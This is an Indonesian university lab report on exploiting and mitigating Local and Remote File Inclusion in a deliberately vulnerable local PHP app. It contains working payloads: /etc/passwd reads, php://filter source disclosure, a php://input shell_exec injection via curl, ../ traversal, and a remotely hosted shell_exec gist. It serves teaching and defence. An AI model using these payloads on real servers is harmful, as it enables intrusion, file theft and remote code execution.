Anda di halaman 1dari 11

LABORATORIUM PEMBELAJARAN ILMU KOMPUTER

FAKULTAS ILMU KOMPUTER


UNIVERSITAS BRAWIJAYA

BAB : WEB ― LOCAL & REMOTE FILE INCLUSION


NAMA : EURICO KRISNA WIJAYA
NIM : 195150207111053
TANGGAL : 26/10/2021
ASISTEN : MUHAMMAD FIKRI ASHARI

Percobaan

Local File Inclusion


1. Download aplikasi web yang akan kita gunakan pada tautan berikut:

wget
https://github.com/isfahany/infosec-module-downloadable-f
ile/raw/master/lfi/lfi.tar.gz

2. Buka file yang dikompres tersebut dan simpan ke dalam server lokal.
Bukalah file index.php dengan teks editor kesukaan kalian dan pahami
cara kerjanya.
Tampilan pada index.php.
Pada program, program akan melakukan impor bootstrap dan jquery
yang memiliki kegunaan dalam menjalankan kode program. Terdapat
sebuah container yang berisikan judul dan sebuah drop-down button
yang memiliki fungsi untuk memunculkan value yang ada di dalamnya.

3. Bukalah web tersebut pada browser anda. Cobalah fitur tersebut dan
tunjukkan url serta parameter yang digunakan.

Tampilan awal pada browser.


Url yang digunakan adalah
http://localhost/lfi/index.php?catto=9&desc=catto/local.php dan
parameter yang digunakan adalah desc=catto/local.php.

4. Hapus nilai dari parameter desc dan masukkan teks /etc/passwd pada
parameter desc di browser. Apa yang terjadi?

Tampilan browser pada saat memasukkan /etc/passwd pada parameter


desc.
Pada saat parameter desc diisikan dengan /etc/passwd akan
memunculkan informasi mengenai pembuat dari website tersebut.

5. Cobalah untuk mengganti parameter desc dan masukkan teks berikut:

php://filter/convert.base64-encode/resource=index.php

Menurutmu apa yang sebenarnya dilakukan teks diatas?

Tampilan browser pada saat memasukkan


php://filter/convert.base64-encode/resource=index.php pada parameter
desc.
Pada saat parameter desc diisikan dengan
php://filter/convert.base64-encode/resource=index.php akan
mendapatkan hasil base64 encode.

6. Copy-paste lah teks base64-encoded tersebut dan decode pada terminal


dengan command berikut (ganti [TEKS BASE64] dengan teks yang
dikeluarkan pada browser anda):

echo "[TEKS BASE64]" | base64 -d

Apa hasil dari command tersebut? Apa yang didapatkan penjahat siber?
Tampilan bagian atas pada saat menjalankan echo "[TEKS BASE64]" |
base64 -d.

Tampilan bagian bawah pada saat menjalankan echo "[TEKS BASE64]"


| base64 -d.
Pada saat menjalankan echo "[TEKS BASE64]" | base64 -d didapatkan
sebuah source code dari browser tersebut.
7. Untuk melanjutkan percobaan, carilah file php.ini pada web server anda.
Gunakan fitur find pada teks editor untuk mencari teks allow_url_include.
Pada percobaan ini, ubahlah perizinannya dari off menjadi on
8. Lakukan request POST menuju aplikasi web yang kita serang. Pada
modul ini, kita cukup menggunakan command curl pada terminal:

curl -X "POST" -d "<?php echo shell_exec('ls -la'); ?>"


"localhost/lfi/index.php?catto=4&desc=php://input"

Jika shell_exec berhasil dilakukan, berarti kita telah berhasil mengubah


tingkat serangan kita menjadi remote code execution (eksekusi kode
secara remote) dan command injection (injeksi command)

Tampilan bagian atas pada saat menjalankan curl -X "POST" -d "<?php


echo shell_exec('ls -la'); ?>"
"localhost/lfi/index.php?catto=4&desc=php://input".
Tampilan bagian bawah pada saat menjalankan curl -X "POST" -d
"<?php echo shell_exec('ls -la'); ?>"
"localhost/lfi/index.php?catto=4&desc=php://input".
Pada saat menjalankan curl -X "POST" -d "<?php echo shell_exec('ls
-la'); ?>" "localhost/lfi/index.php?catto=4&desc=php://input" didapatkan
sebuah hasil yang merupakan sebuah pentransferan data ke server
dalam bentuk kode ls-la.

Pencegahan Local File Inclusion


1. Buka index.php pada teks editor yang biasa kalian gunakan, lalu ubahlah
line yang mengandung include menjadi seperti berikut:

include 'catto/' . $_GET['desc'];

Hapus pula direktori catto yang ada pada dropdown menu.


2. Cobalah melihat /etc/passwd kembali, apa yang terjadi? Mengapa
demikian?
Tampilan browser pada saat memasukkan /etc/passwd pada parameter
desc.
Pada saat parameter desc diisikan dengan /etc/passwd, tidak akan
memunculkan apapun dikarenakan pada website akan melakukan
append path ‘catto’ terlebih dahulu sebelum mengambil path yang ada
pada parameter.

3. Cobalah menggunakan php://filter dan php://input kembali, apa yang


terjadi?

Tampilan browser pada saat memasukkan


php://filter/convert.base64-encode/resource=index.php pada parameter
desc.
Pada saat parameter desc diisikan dengan
php://filter/convert.base64-encode/resource=index.php tidak
memunculkan apapun.

4. Cobalah menambahkan teks ../../../../../../../../../../../.. (dot, slash) sebelum


/etc/passwd apa yang terjadi? Mengapa demikian?
Tampilan browser pada saat memasukkan
../../../../../../../../../../../../etc/passwd pada parameter desc.
Pada saat parameter desc diisikan dengan
../../../../../../../../../../../../etc/passwd akan memunculkan informasi
mengenai pembuat dari website tersebut, karena direktori dari file
tersebut terungkap secara eksplisit pada parameter.

5. Buka kembali index.php pada teks editor, lalu tambahkan append “.php”
pada akhir include. Setelah itu cobalah kembali membypass dengan (dot,
slash). Apa yang sekarang terjadi? Bagaimana pendapatmu?

Tampilan browser pada saat memasukkan


../../../../../../../../../../../../etc/passwd pada parameter desc.
Pada saat parameter desc diisikan dengan
../../../../../../../../../../../../etc/passwd tidak memunculkan apapun, karena
pada ujung direktori ditambahkan .php sehingga membuat path tidak
dapat ditemukan.

Remote File Inclusion


1. Kembalikan file index.php seperti kondisi semula.
2. Pastikan allow_url_include masih on.
3. Bukalah tautan gist.github.com, lalu copy-paste kode berikut:

MENCOBA MEMPELAJARI KERENTANAN REMOTE FILE INCLUSION

Tampilan pada gist.github.com.

4. Ubah isi dari gist.github.com menjadi berikut:

<pre>
<?php
echo shell_exec('ls -la');
?>
</pre>

Tampilan pada gist.github.com.


Tampilan pada saat menekan tombol “Create secret gist”.

Tampilan pada saat menekan tombol “Raw”.


Pada kode program, kode program tersebut memiliki sebuah fungsi
sebagai pengganti proses yang sedang berjalan pada parameter
shell_exec yaitu ls dan la.

5. Salin tautan gist.github yang ada dan masukkan ke parameter yang


digunakan pada web lfi
Tampilan browser pada saat memasukkan
https://gist.githubusercontent.com/EuricoKrisnaWijaya/64e8b6fe76f459
c3d63db7f7d69e5c0d/raw/2c206076dc56227429d658a346de7238f96a
c260/gistfile1.txt pada parameter desc.
Pada saat parameter desc diisikan dengan
https://gist.githubusercontent.com/EuricoKrisnaWijaya/64e8b6fe76f459
c3d63db7f7d69e5c0d/raw/2c206076dc56227429d658a346de7238f96a
c260/gistfile1.txt pada parameter desc akan memunculkan sebuah hasil
yang merupakan sebuah pentransferan data ke server dalam bentuk
kode ls-la dan ditampilkan di bawah gambar kucing.

Tugas
1. Carilah informasi di internet mengenai whitelisting dan blacklisting untuk
mitigasi input teks pada aplikasi web dalam pencegahan lfi dan rfi.
Jelaskan bagaimana hal itu dapat melindungi aplikasi web dari serangan
siber?

Whitelisting dan blacklisting merupakan sebuah upaya yang dilakukan


agar dapat menghindari serangan LFI dan RFI, Whitelisting memiliki
cara kerja dengan memperbolehkan akses oleh beberapa jenis entitas
yang telah diberikan sebuah otoritas dan secara default akan melarang
entitas yang tidak memiliki otorisasi untuk mengakses sebuah file,
sedangkan blacklisting memiliki cara kerja dengan melarang akses
untuk entitas yang sudah masuk kedalam list dan secara default entitas
akan diperbolehkan untuk melakukan akses.

2. Apa perbedaan antara local file inclusion dan remote file inclusion?

Perbedaan antara local file inclusion dan remote file inclusion, local file
inclusion bekerja secara lokal dengan memanfaatkan celah pada kode
untuk mengeksploitasi source code, sedangkan remote file inclusion
bekerja secara remote melalui sebuah hosted file yang ada pada server
tanpa perlu mengakses direktori perangkat lokal.

Anda mungkin juga menyukai